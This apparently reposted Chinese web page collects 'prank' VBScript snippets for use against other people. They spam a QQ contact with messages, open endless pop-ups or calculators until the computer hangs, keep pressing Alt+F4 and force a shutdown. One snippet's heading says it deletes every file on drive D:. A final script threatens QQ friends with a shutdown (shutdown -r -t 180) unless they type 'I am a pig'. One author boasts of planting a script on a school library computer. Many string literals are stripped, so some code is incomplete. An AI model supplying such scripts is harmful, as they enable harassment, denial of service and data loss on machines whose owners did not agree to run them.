一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=>
复制代码 代码如下:
On Error Resume Next Dim wsh,ye
set wsh=createobject(\for i=1 to 10
wscript.sleep 700
wsh.AppActivate(\与 xx 聊天中\wsh.sendKeys \wsh.sendKeys i wsh.sendKeys \next
wscript.quit
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------ do
msgbox \loop
------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机
------------------------------------------------------------------------------ set wsh=createobject(\do
wsh.run \loop
----------------------------------------------------------------------------- 四、直接关机
----------------------------------------------------------------------------- dim WSHshell
set WSHshell = wscript.createobject(\WSHshell.run \
----------------------------------------------------------------------------- 五、删除D:\\所有文件
--------------------------------------------------------------------------- dim WSHshell
set WSHshell = wscript.createobject(\WSHshell.run \
---------------------------------------------------------------------------- 六、不断弹出窗口
---------------------------------------------------------------------------- 复制代码 代码如下:
while(1)
msgbox \哈哈 你被耍了！\loop
---------------------------------------------------------------------------- 七、不断按下alt+f4 （开什么都关闭……）
--------------------------------------------------------------------------- 复制代码 代码如下:
dim WSHshell
set WSHshell = wscript.createobject(\while(1)
WSHshell.SendKeys \loop
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)
复制代码 代码如下:
dim s
do until s=500 s=s+1
msgbox \哥们，给我按500次回车吧\loop
'------------------------ ------------------------------------------------------------
九、关不掉的窗口 复制代码 代码如下:
WScript.Echo(\嘿，谢谢你打开我哦，我等你很久拉！\WScript.Echo(\你是可爱的小朋吗?\
WScript.Echo(\哈,我想你拉，这你都不知道吗？\WScript.Echo(\怎么才来，说~是不是不关心我\
WScript.Echo(\哼,我生气拉，等你这么久，心都凉啦。\WScript.Echo(\小强很生气，后果很严重哦。\WScript.Echo(\嘿嘿！你也会很惨滴哦\WScript.Echo(\是不是想清除我？\
WScript.Echo(\那你要点上50下哦，不过会给你惊喜滴\WScript.Echo(\还剩49下，快点点哦\
WScript.Echo(\还剩48下，快点，小笨蛋！\WScript.Echo(\还剩47下对，就这样快点点！\
WScript.Echo(\还剩46下。你啊就是笨，要快哦，我先不打扰你工作。\WScript.Echo(\还剩45下，记得要快哦！\WScript.Echo(\还剩43下\WScript.Echo(\还剩42下\
WScript.Echo(\还剩41下\WScript.Echo(\还剩40下\WScript.Echo(\还剩39下\WScript.Echo(\还剩38下\WScript.Echo(\还剩37下\WScript.Echo(\还剩36下\WScript.Echo(\还剩35下\WScript.Echo(\还剩34下\WScript.Echo(\还剩33下\WScript.Echo(\还剩32下\WScript.Echo(\还剩30下\WScript.Echo(\还剩29下\WScript.Echo(\还剩28下\WScript.Echo(\还剩27下\WScript.Echo(\还剩26下\WScript.Echo(\还剩25下\WScript.Echo(\还剩24下\WScript.Echo(\还剩23下\WScript.Echo(\还剩22下\WScript.Echo(\还剩21下\WScript.Echo(\还剩20下\WScript.Echo(\还剩19下\WScript.Echo(\还剩18下\WScript.Echo(\还剩17下\WScript.Echo(\还剩16下\WScript.Echo(\还剩15下\WScript.Echo(\还剩14下\
WScript.Echo(\还剩13下停停！！！慢点，我有话要说\WScript.Echo(\还剩12下，你继续点我就会消失滴\
WScript.Echo(\还剩11下，以后就看不到我拉。555555\WScript.Echo(\还剩10下，你现在可以选择停止！\WScript.Echo(\还剩9下。你还点啊，不要我拉？\WScript.Echo(\还剩8下，有点伤心拉，干嘛丢弃人家\WScript.Echo(\还剩7下。疯了，你有点负意！\WScript.Echo(\还剩6下。对。你就点吧，我恨你！\WScript.Echo(\还剩5下，不明白，删除我你就好吗？\WScript.Echo(\还剩4下！真要删除我？\
WScript.Echo(\还剩3下。可是我真的很眷恋你。。。\
WScript.Echo(\还剩2下。不要这么绝情嘛，人家是爱你的！\
WScript.Echo(\还剩1下。哼，既然你这么绝情。也别怪我无义！！！\
WScript.Echo(\我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。\
WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\
WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\
两个整人的VBS脚本2009-07-16 18:16
文章录入：7747.Net 责任编辑：7747.Net 564 【字体：小 大】
测试环境：Windows 2003 系统 大家好 我是Vanlisa QQ137841986
今天给大家带来两个整人的VBS脚本 希望大家喜欢 VBS脚本大家都知道吧 第一个是定时关机的
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的 时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法
我们来看下这个脚本 复制代码 代码如下:
on error resume next dim WSHshellA
set WSHshellA = wscript.createobject(\
WSHshellA.run \说我是猪，不说我是猪就一分钟关机，不信，试下···\dim a
do while(a <> \我是猪\
a = inputbox (\说我是猪,就不关机，快撒，说 \我是猪\ \说不说\
msgbox chr(13) + chr(13) + chr(13) + a,0,\loop
msgbox chr(13) + chr(13) + chr(13) + \早说就行了嘛\dim WSHshell
set WSHshell = wscript.createobject(\WSHshell.run \
msgbox chr(13) + chr(13) + chr(13) + \哈哈哈哈，好乖\
新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了 cmd.exe /c shutdown -r -t 180 -c 这里的数字可以修改关机时间 180秒
这些文字也可以自设 这个脚本启用cmd 里的关机程序